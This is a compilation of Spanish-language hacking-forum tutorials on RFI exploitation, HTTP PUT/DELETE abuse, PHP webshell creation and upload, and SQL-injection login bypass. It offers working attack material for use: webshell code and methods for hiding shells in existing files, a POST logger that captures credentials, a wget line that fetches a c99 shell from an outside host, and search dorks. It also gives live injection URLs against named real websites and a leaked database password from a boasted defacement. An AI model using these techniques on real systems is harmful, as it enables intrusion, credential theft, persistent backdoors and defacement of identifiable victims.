En un programa PHP en su servidor, Cuando acceden al servidor pueden acceder a Cualquier que tiene el programa PHP por ejemplo:
Base de datos
Archivos de contraseña
Y otras cosas
Pueden instalar sus propios servidores que lo ejecutan con los privilegios de la victima
Del servidor Web como {apache o httpd} Y si el servidor no lo han modificado en algunos locales de la vulnerabilidad de escalada de privilegios el atacante que monto
La shell puede ser usada para convertirse en root…
3.) Dorks RFI
Con un dork podemos conseguir las vulnerabilidades al azar con solo visitar
Www.Google.com y poner lo siguiente:
/index.inc.php?PATH_Includes=
/ashnews.php?pathtoashnews=
Uno de estos dos les servirá si no visiten Aqui
4.) Testeando la vulnerabilidad
Bueno ya hemos encontrado una Web ahora vamos a testearla haber si es vulnerable
Primero que nada muchas veces esto se encuentra con solo revisar en los códigos de Fuente siempre se encuentra lo siguiente:
include"#bugdox";
?>Recordemos que esta vulnerabilidad se presenta cuando se intenta meter una página
Remota adentro de la otra y se utilizan lo códigos que di como ejemplo cuando se Encuentra la Vulnerabilidad.include() lo que hace es incluir una pagina remota por ejemplo $Bugdox
Se puede utilizar una url bajo argumento y eso es lo que hace explotar RFI por ejemplo:
http://vulnerable.com/badcode?ejemplo=
tenemos ?ejemplo.php cuando el atacante introduce su codigo malicioso.
Www.xD.com es la Web donde subí mi SHELL con el nombre c99.jpg
Al ejecutar esto en la Web de la victima ¿Qué pasa? No recoge ejemplo.php
Si no que el sistema agarra la url maligna que es la que le da una CONEXIÓN REMOTA que es cuando introducimos nuestra shell ¿Me entienden?.Un atacante
Puede saber controlar las variables de PHP se hace mediante:
mis-PHP register_globals función.
Cuando register_globals esta habilitado en PHP el lenguaje automagicamente
Hace una instancia con los valores de las variables de la petición en http, y los pone
En el espacio de nombres del programa PHP.
Cuando se activa se le permite a un atacante inyectar un valor para cualquier variable Sin inicializar en cualquier programa solo el atacante añade un parámetro GET al final De la url es decir después de “=”
Ejemplo hemos entrado en Www.xD.com hemos mirado el código de fuente
Hemos observado que tiene include() hacemos la prueba:
http://vulnerable.com/badcode?ejemplo=http://Www.google.com
Resulta que al darle clic nos redirección a GOOGLE de una vez ya sabemos que la Web Es vulnerable a RFI.
Luego que encontramos nuestra Web vulnerable buscamos nuestra SHELL
Ya sea c99 o r57 y hay otras mas.
Buscamos un hosting gratuito que soporte PHP y guardamos nuestra shell en un
Jpg.php o con gif.php no importa el formato porque tampoco que vamos a poner
Cualquier formato a veces muchas Web no permiten extracciones como gif y otras…
5.) Sacando una conclusión a todo
Como pueden ver la lógica rfi no es muy difícil es un ataque muy básico
Trata de que www.xD.com es la Web vulnerable bugdox.php esta es la que
Incluirá el redireccionamiento ?ejemplo= Esta es la que le permite a un atacante
Introducir códigos maliciosos por ejemplo la SHELL y www.xD.com/c99_jpg
Este sitio es el que almacena la shell...
6.) Como cuidar nuestra Web de este tipo de ataques
Para evitar este tipo de ataques en nuestros sitios podemos ir al FTP y buscar
La configuración index.php lo editamos y agregamos lo siguiente:
Antes de continuar este CODIGO de seguridad no es hecho por mi lo pueden ver
Aquí…
Codigo:
if (file_exists($_GET['id'].".php")) {
include ($_GET['id'].".php");
} else {
echo "El acceso a este lugar lo tiene denegado o no existe";
}
Ejemplo de codigo:
echo "El acceso a este lugar lo tiene denegado o no existe";
Este if funciona de la manera que si al colocar:
http://vulnerable.com/badcode?ejemplo=http://Www.google.com
No te redireccionara si no que te dirá El acceso a este lugar lo tiene desnegado o no Existe pero si por ejemplo agregamos:
http://vulnerable.com/badcode?ejemplo=BugDox
Y si existe pasara normalmente sin dar el error para que no de el Error este archivo debe existir.
7.) Despedida
Otro tutorial mas que hago no es la gran cosa a lo mejor tengo errores por hay
Si los tengo me gustarian las {Criticas} Son muy importante para correjir a los
Demas...
No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que
Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato…
Group’s Ethical.
Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
ShadinessDark
Mi team V1rtu@l VIRu$ Bl@ck Team
By ShadinessDark
Introduccion al HTTP Hacking By Zero Bits
Publicado por ShadinessDarkIntroducción al HTTP Hacking
Este solo es una mera introduccion al HTTP Hacking hablando de los metodos y algunos ejemplos de como funcionan. Antes lean esto:
HTTP
Headers
Ya que leyeron, explicare los metodos HTTP....
Metodos HTTP:
GET: Viene activado por defecto, puede obtener info de un fichero y tambien solicita una pagina.
HEAD: El server devuelve los headers de la pagina, gracias a eso podemos sacar buena info del Servidor.
Ej: Vamos a usar el MS-DOS con google.co.ve
Abromps el MS-DOS y escribimos "nc www.google.co.ve 80", se conectara en la linea de abajo de eso, escribimos: HEAD / HTTP/1.1, le damos dos veces a ENTER para confirmar y nos tira informacion como esta:
Cache-Control:Directivas que deben ser usadas a lo largo de la peticion
Content-Type:Con lo que salio, deben imaginarse
Set-Cookie:La cookie
Nos puede dar esa o mejor Informacion, depende del Servidor...
OPTIONS: Aqui esta otro que nos da mucha info, tambien informa de los metodos permitidos por el Servidor.
Ej: Probemos con E-R00T.ORG este metodo xD:
Podemos ver que info que sabran que es como DATE (La fecha actual), Server (Me imagino que ya sabran con lo que leyeron xD), Content-Length (Numero de caracteres), pero para quienes no conocen a ALLOW, dice los metodos permitidos por el Servidor, entonces aqui se permiten GET, HEAD, POST, OPTIONS y TRACE.
TRACE: Responde lo que le enviemos, podremos aprovecharnos de esa haciendo XSS o cualquier otra cosa como Floodearlo...
Ej:
Netcat dira si se llego a lograr o no...
POST: Podemos hacer que el servidor acepte informacion enviada por nosotros.
Ej: Podemos hacer que un uploader acepte una imagen con contenido malicioso.
PUT: Cuando vean que el servidor acepte PUT, leyendo esto puede que se emocionen, ya que PUT permite modificar un fichero.
Ej:
Content-Length: 14
Owned
Content-Length, es el numero de caracteres....
Dependiendo de si funciona o no, te lo dira... A veces piden autorizacion, dependiendo de la seguridad, solo ahi que poner la IP o nombre del Servidor.
DELETE: Borra un fichero.
Ej:
nc www.web.com 80
DELETE /index.html HTTP/1.0
Bueno ya hemos terminado esta breve Introduccion al Http Hacking...
Pueden leer tutos:
* Aprende a usar Live http Headers
* HTTP al Descubierto By Sknight & Vengador de las Sombras
Autor: Zero Bits
Fecha: 24/07/09
Team: Pandoras Box Team
Tips (PhpShells) que son y como subirlas by _84kur10_
Publicado por ShadinessDarkSaludos a todos.
el tutorial esta basico, pero creo que a muchos les serviria :D
bueno el contenido de este minututorial es
0x01 Q son la shells.
0x02 PhpShells
0x03 Creacion de PhpShells
0x04 Subir una shell a un servidor
0x05 Ya subi la shell y ahora?
0x06 Preparando el sistema para volver (Keylogger php) o (POSTlogger php)
0x07 Dejar shell incrustada (Shell Embedded)
0x08 Preguntas en otros foros sobre este tuto
0x09 Conclusion
0x10 Agradecimiento
0x01 Shell
A una shell como tal la podemos definir como el software que permite que el usuario acceda a los servicios del sistema sin ir directamente al kernel, si no precisamente a travez de la shell, en otras palabras la shell sera una intermediaria entre el usuario y el sistema.
0x02 PhpShell (WebShell)
Bueno en este orden de ideas podemos entonces decir que una phpShell es un intermediario entre el sistema y el usuario, con la particularidad que esta desarrollada en php, asi como hay shells hechas en php, tambien existen en un sin fin de lenguajes de programacion, la ventaja de q la shell este hecha en php o en algun lenguaje de programacion para la web, es q podremos usar la shell aprovechando los servicios de la maquina remota.
en otras palabras Gracias a que en la maquina remota esta corriendo un servicio, nuestra (Web)shell se ejecutara y podremos visualizarla por el navegador.
0x03 Creacion de una PhpShell.
Pues como se imaginaran si quicieramos crear una phpshell, lo que necesitariamos fundamentalmente es conocer a fondo el lenguaje de programacion en el que la vamos a desarrollar, y crear opciones de manejo de archivos, navegacion en el servidor etc, es decir, todo lo que nos facilite interactuar con el sistema remoto.
un miniejemplo de una shell, que pueda ejecutar comandos en el servidor seria.
partiendo de que el comando de php : system('dir'); ejecuta el comando dir en la maquina donde este alojado el archivo, entonces podremos decir que lo haremos para que ejecute todo lo que envien por un navegador.
¿como asi? si pues por ejemplo si hacemos un archivo php con el siguiente contenido:
echo $_GET['comando'];
?>lo guardamos como test.php. lo colocamos en un servidor web que soporte php (podrian hacerlo en uno free o localmente para probar) y accedemmos al archivo por el navegador asi
www.dondeestemontado.com/test.php?comando=Hola
el resultado que nos debe arrojar el servidor es simpemente: Hola
pues lo que le decimos esq con GET osea hace referencia a lo q viaje por la url (por decirlo de algun modo) y solo decimos que escriba lo q llego en comando.
si modificamos el test.php por algo como esto
( $_GET['comando']);
?>
por ejemplo si mandamos algo como esto en la url
www.dondeestemontado.com/test.php?comando=dir
se ejecutara un dir en el servidor.
tambien podriamos hacer algo asi:
( $_GET['comando']);
?>
www.dondeestemontado.com/test.php?comando=index.php
con lo que visualizaremos el codigo de index.php.
como ven, con este archivo php estamos de ciertaforma comunicandos con la maquina. asi que digamos q este es el principio basico de una shell. Actualemente encontraras shells famosas como c99,c100,r57... entre muchas otras, que ya cuentan con sistemas completo para saltarse muchos filtros. son faciles de encontrar. simpemente si quieren algunas de las q les digo coloquen en google:
inurl:c99.txt
0x04 Subir una shell a un servidor
Cuando se trata de atacar un servidor web, lo que uno principalmente busca de cierta forma, es tratar de colar una phpshell, para que? pues para tener mas acceso al servidor e ir por la informacion que nos interesa.
osea que ya se imaginaran que necesitan un especie de uploading o explotar algun tipo de bug que permita subir archivos. partiendo de ese principio basico se imaginaran que si colocamos digamos en google
inurl:upload.php
encontraremos muchos uploading para probar haber si podemos colar una phpshell.
me he encontrado con muchas webs que no filtran las extensiones correctamente lo que nos permite subir archivos de forma arbitraria, eso es a lo llamamos Arbitrary file Upload, es asi como podemos subir una shell, sin tanto desmadre, y con poco esfuerzo.
aprovecho para contarle algo q me sucedio, durante el deface a el-informador... note e un principio q tenia blind sql inyeccion. pues como algunos sabran ese tipo de inyeccion son algo tediosas... tardamos mucho en dar con el resultado que queremos y a veces teniendo en cuenta q probablemente no corramos con suerte. entonces ps estaba trantando de hacerla cuando me dio por probar encontrar el panel de admin de la web que esta ubicado en:
http://www.el-informador.com/admin/
y pues medio resultado... me sorprendi un poco e inclusive me dio algo de risa, pues de blind sql inyeccion a tener un uploading listo... y sin ningun esfuerzo pues jum... nos ahorramos bastante.
de esta forma subi la shell del informador (que aun esta online).
por otro lado, hay algunos tipos de filtros q nos podemos saltar, por ejemplo a veces usan cosas como
if(strpos($HTTP_POST_FILES['file']['type'],"jpg"))
?>aqui lo que hacen es mirar lo q viene en el campo type de la cabecera http, para obtener el tipo del archivo, si strpos encuentra el tipo devuelve la posicion, si no devuelve un falso... como todos sabran podemos modificar las cabeceras para cambiar el tipo, pueden usar el http live header, achilles, tamper data... por otro lado podemos encontrarnos con esta filtracion.
=explode(".",$nombreFIle);
if($tipo[1]=='jpg'){
echo "paso";
}
?>
parte el nombre en un vector y toma el . como referencia, por tanto la posicion 1 tiene jpg y la 2 tiene php. y al comparar solo con la 1 entonces al parecer seria un jpg.
haber comoquemonos en este contexto, no tenemos ningun uploading, solo tenemos un sql inyeccion, y no tenemos admin login ni nada. cuanto esto pasa, podemos intentar filtrar una shell con la setencia outfile
podria ser algo como :
union+select+,1,2,''+into+oufile+ruta/shell.php
si nos pone mucha joda.. podemos intentar pasar el code php a hex para filtrarla.
Tambien podemos subir un archivo con PUT, bajo la condicion que el phpini este con esto
allow_url_include = On
allow_url_fopen = On
PUT /archivo.php HTTP/1.1
Host: Ficticio.com
Content-Type: text/plain
Content-Length:4
y podremos subir shell.
0x05 Ya subi la shell y ahora?
Una vez que logremos tener la shell arriba, uno de los tips o cosas que podemos hacer es buscar los archivos de configuracion de la BD, para que? pues para usmear, o para dumpearla, como asi dumpearla? pues veran es simplemente descargarnos una copia de su BD, en particular las shells tienen opciones para los archivos q lista... como ver descargar editar etc.
ejemplo
ahora usmeando un poco encontramos los archivos de configuracion, inclusive notamos que nuestra shell nos lo indica.
si lo clickeamos nos dara informacion como esta:
$user_db = 'i1n1f3o4_admin'; // Server Username
$pass_db = 'infor2005'; // Server Password
$host_db = 'localhost'; // Server (e.g. localhost)
$db = 'i1n1f3o4_encuesta'; // Database to be created or name of existing database (Please note: Database containing dashes cannot be created)
con lo que nos podemos autenticar aqui.
Bueno una vez coloquemos los datos... de host,Bd user y password, podremos visualizar algo como:
la opcion dump es la que les habia mencionado previamente, y pues podran navegar en la bd... hagan de cuenta que es un cliente mysql.
la shell tiene opciones para hacer back conection.
para que sirve? pues para bypasear el cortafuegos, podemos leer archivos ya sea usando php o mysql... podremos hacer un sinfin de cosas, yo aconsejo que le brujeen a la shell ojala la la monten localmente, y ensayan las opciones. que pues son bastante intuitivas.
0x06 Preparando el sistema para volver
Bueno pues la idea es que una vez entramos, dejemos asegurado un proximo regreso, por ello esta es una de las tantas opciones, se trata de guardar en un log (que podria ser remoto pero que aqui lo dejo de forma local), esto se puede ubicar en el archivo php encargado de recibir los datos del login
foreach($_POST as $index => $valor){
$log="[in]".$log.$index." = > ".$valor."[in]
";
}
$logFile= fopen('logs.txt', 'a');
fwrite($logFile, $log."\n");
?>
Ahora podremos ver lo que guarde el log en logs.txt, aclaro q es un ejemplo simple, se podrian hacer cosas como conexion por ftp... etc. y si el admin quiere darse cuenta que le dejamos un keylogger (seria mas un POST logger o algo asi), pues tendria que ir a revisar el codigo fuente de su aplicacion.
0x07 Dejar shell incrustada (Shell Embedded)
se trata de agregar la shell dentro de un archivo existente, con el fin de evitar sumar archivos al servidor, solo es cuestion de encontrar el archivo indicado, y acomodamos la minishell para que solo reaccione si enviamos un parametro asi
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>
esto con el fin de evitar q salgan errores... q adviertan que hay problemas en el archivo
y lo ejecutariamos asi
www.dondeestemontado.com/test.php?comando=dir&activeshell=activar
Bueno aqui acaba este listado de tips... y de teoria... espere les guste.
0x08 Preguntas de otros foros
ShadinessDark hackxcrack
Ah también me parece que le agregues la forma de esconder la shell...
Osea que no aparezca en la lista de archivos..
R
digamos q esta es su shell
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>y este es el index.php
echo "Lo que sea";
?>hay varias formas ... por un lado esta una que es simplemente:
echo "Lo que sea";
?>
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>
o
echo "Lo que sea";
if($_GET['activeshell']=='activar'){
system( $_GET['comando']);
}
?>
p´s es una forma sencilla. pero se podrian usar una especies de ofuscadres para que no se entienda el code.... y pues es cuestion de analizar cual es el mejor archivo para incrustar la shell... o el PostLogger...
edugibert hackxcrack
Se puede camuflar la shell con alguna archivo!! Haber si me explico coger el blinder y camuflar la shell con un pdf o un doc o lo que sea y después ejecutarlo ?¿ Si la respuesta es afirmativa como ?¿
R:
si man eso se puede hacer... quizas hallan varias formas, pero por ahora se me ocurren 2.
la primera es que subas digamos la shell con extension .jpg (o la que sea pero para el ejemplo sera jpg)
con la shell arriba con otro formato agregas un .htaccess con el siguiente codigo
ForceType application/x-httpd-php
eso hara que el servidor ejecute el code php de los jpg... por tanto aunq nuestra shell tenga extension jpg se ejecutara. ten encuenta q puede ser doc pdf lo q sea.
psdta: buena pregunta, con esto complementare el tuto :D
la otra que se me ocurre es que causemos un lfi aproposito asi:
if(!empty($_GET['file'])){
include $_GET['file'];
}
?>
y podremos incluir nuestra shell asi.
http://www.victim.com/filewithlfi.php?file=shell.jpg
lo que hara que se incluya la supuesta imagen y se ejecute el php.
C3llu5 hackxcrack
tengo una pregunta
enkontre una web vulnerable, y logre subir un X texto para komprebar si me dejaba,
haora e intentado subir una shell , pero haora mi problem es el peso de la shell, no me pone problema por el formato, pero no me sube por el peso del archivo de la shell,
pues bueno mi pregunta, es ke si hay una de subirla, o alguna shell ke no pese tanto, para que no me ponga problema por el peso,
R:
man, que SO tiene el servidor?
podria intentar subir un archivo php pero no con una shell, si no con un uploader... depues ya subes shell usando el archivo q subiste... (un uploader pesa mucho menos)
o puede intentar subir un archivo php que ejecute esto
wget www.server.com/c99.txt;chmod 777 c99.txt;mv c99.txt shell.php
donde
www.server.com/c99.txt
y ya despues accedes a:
www.victim.com/shell.php
0x10 Conclusiones
Nada solo resta decir, si quieres atacar algo la mejor herramienta es saber como funciona, asi tendras mas posibilidades
0x10 Agrecimiento
Agradezco a Cygog por sacarme de un par de dudas :D.
y a todos los q preguntan porq asi se complementa el tutorial.
Psdts
si ven errores o alguna bestialidad les agradezco me informen
Continuara... sigo mejorandolo en el tiempo libre q me quede
by _84kur10_
Patron de Bugs By _84kur10_
Publicado por ShadinessDark¿De que se trata?
Saludos gente bueno para quienes se estan iniciando en el defacing, pues queria aportarles esta informacion, he encontrado un patron de bugs en algunos desarrollos a nivel web, como asi patron de bugs? si pues veran A veces cuando se encuentra un bug cualquiera, es bueno mirar la casa de desarrollo que implemento el sistema, porq? pues porq si cometio ese error una vez, es probable q tengan ese error en muchas de sus aplicaciones, es a lo q denomino patron de errores o de bugs, o bueno no se si tenga otro nombre, pero ps es mas o menos eso.
Patrones.
Me he dado cuenta q casi todas las aplicaciones web de:
"Powered by Foramen" Tienen sql inyeccion
Ejemplo:
http://www.analesdemedicina.com/cardiologia/noticia.php?noticia=-82071+union+select+1,@@version--
no siempre es en el mismo componente pero si va por el mismo lado.
Igual sucede con
powered by Maiku
http://www.otakunomichi.com/ver_articulos.php?articulo=-11+union+select+1,2,concat(table_name,0x3a,column_name)+from+information_schema.columns+limit+170,1
powered by Naranja Azul ®
http://www.ministeriostorrefuerte.org/eventos.php?codigo=15'
http://gt.unmejorempleo.com/ofertas.php?id=1862'
Powered by: Peruwebmedia.com
http://www.ciclismoperu.com/ver_titular.php?codigo=101&id=1'
http://www.disarva.com/vercategoria-quickbau.php?idmarca=12&id=55'
De esta ultima si q hay webs. me encontre bastantes.
Sql inyeccion en
dork:inurl:php?id= "Powered by Krátera"
Bueno solo se trata de esto, = a medida q encuentre patrones, pues se podrian ir publicando aqui mismo. no se q tal les suene la idea, ya depues miramos si se reportan o que hacemos con eso.
Saludos.
Bypasseando Logins y Accediendo a la Administración By: KuTeR
Publicado por ShadinessDarkIntroducción:
Bueno este es mi primer tutorial para la zona de Labs de BugDox, se lo dedico sobre todo a ShadinessDark y Zero Bits por enseñarme todo lo que se de esto (Gracias brothers). Tambieén un saludo para: Rodro,zonithack,lost-mind,3mp3z@nd0,dark113r,Hackreatorz,mandito,kamus,kozmic.kizz,Pride,84kur10,z1z30f y jeferx.
¿Login? ¿Qué es eso?
Para los que anden despistadillos voy a explicar un login..
Uff menos mal, pensaba que me ibas a mandar a wikipedia
Un login es el conjunto formado por usuario y contraseña que se usa normalmente en la informática para validar la entrada de usuarios autorizados a sistemas.
¿Qué es eso de bypassear un login?
Cuando hablamos de 'Bypassear', nos referimos a redirigir el tráfico por otro lado, es decir, imagínate a el típico policía con su chaleco y sus palitos de luz (xD) en la calle ordenando el tráfico, imaginate que ese policía en realidad no es policía, sino un tipo vestido de ello que lo que intenta es montar la de dios liarla. Pues esto funciona más o menos así, mediante sentencias SQL los intrusos intentan saltarla la restricción del login y tener acceso a un sitio para el que no está autorizado, todo esto 'Bypasseando
Empezamos con lo bueno
Uff,menos mal, ya me estaba aburriendo
Si no te gusta que te expliquen las cosas, no vales para esto, sinceramente.
Bien vamos a empezar, lo primero antes de nada es recurrir a nuestro compañero de juegos, supongo que ya me entendereis, el TODOPODEROSO Google. Introducimos alguno de estos dorks:
allinurl: /admin.asp
allinurl: /admin.php
allinurl: /admin/
allinurl: /login.php
allinurl: /login.asp
Ya tenemos suficientes, aunque hay más.
Bien ahora nos toca buscar algún login, la mayoría de los logins bypasseables tienen un aspecto basto e incluso viejo aunque eso es un mito y no hay que hacer demasiado caso.
Un poquito más de teoría
Dirás, ya estoy delante de un login, ¿y ahora qué?, bien antes de pasar a la práctica te voy a explicar como funciona un login.
Si sabes HTML supongo que comprenderás que la estructura de un login es más o menos una cosa así:
Una cosa así, y una vez que los datos hayan sido introducidos y hayamos pulsado el boton de enviar, los datos serán validados en la página results.php y se producirá una consulta a la base de datos SQL, una cosa así
SELECT FROM usuarios Where Username="usuariointroducido" AND Password="passwordintroducida"
más o menos así, si se cumple te dará acceso, sino NO, ¿ero que pasa si sustituimos la password y el usuario por
' OR 1=1-- ?
La consulta quedaría así:
SELECT FROM usuarios Where Username=' OR 1=1-- AND Password=' OR 1=1
¿ A que la condición establecida se cumple? 1 es igual a 1 ¿No? Pues como imaginais nos dará acceso
LO HEMOS CONSEGUIDO
También podemos probar con otras sentencias como ' OR '='-- o ' OR 'x'='x' etc...
(obviamente esto no funciona en todas las webs)
Conclusión
La conclusión que sacamos, como en casi todas las vulnerabilidades causadas por una mala programación de la página web, es que siendo tanto administradores como webmasters de una página web el mínimo fallo nos puede llevar a la ruína, un fallo tan evidente puede atraer tanto a defacers eticos como a lammers que te borren todo de la web y te pongan un cartelito: SOY DIOS Y TE HE JUANKEADO.
Despedida
Esto ha sido todo, espero haberos ayudado y no seais muy duros con las críticas
Saludos!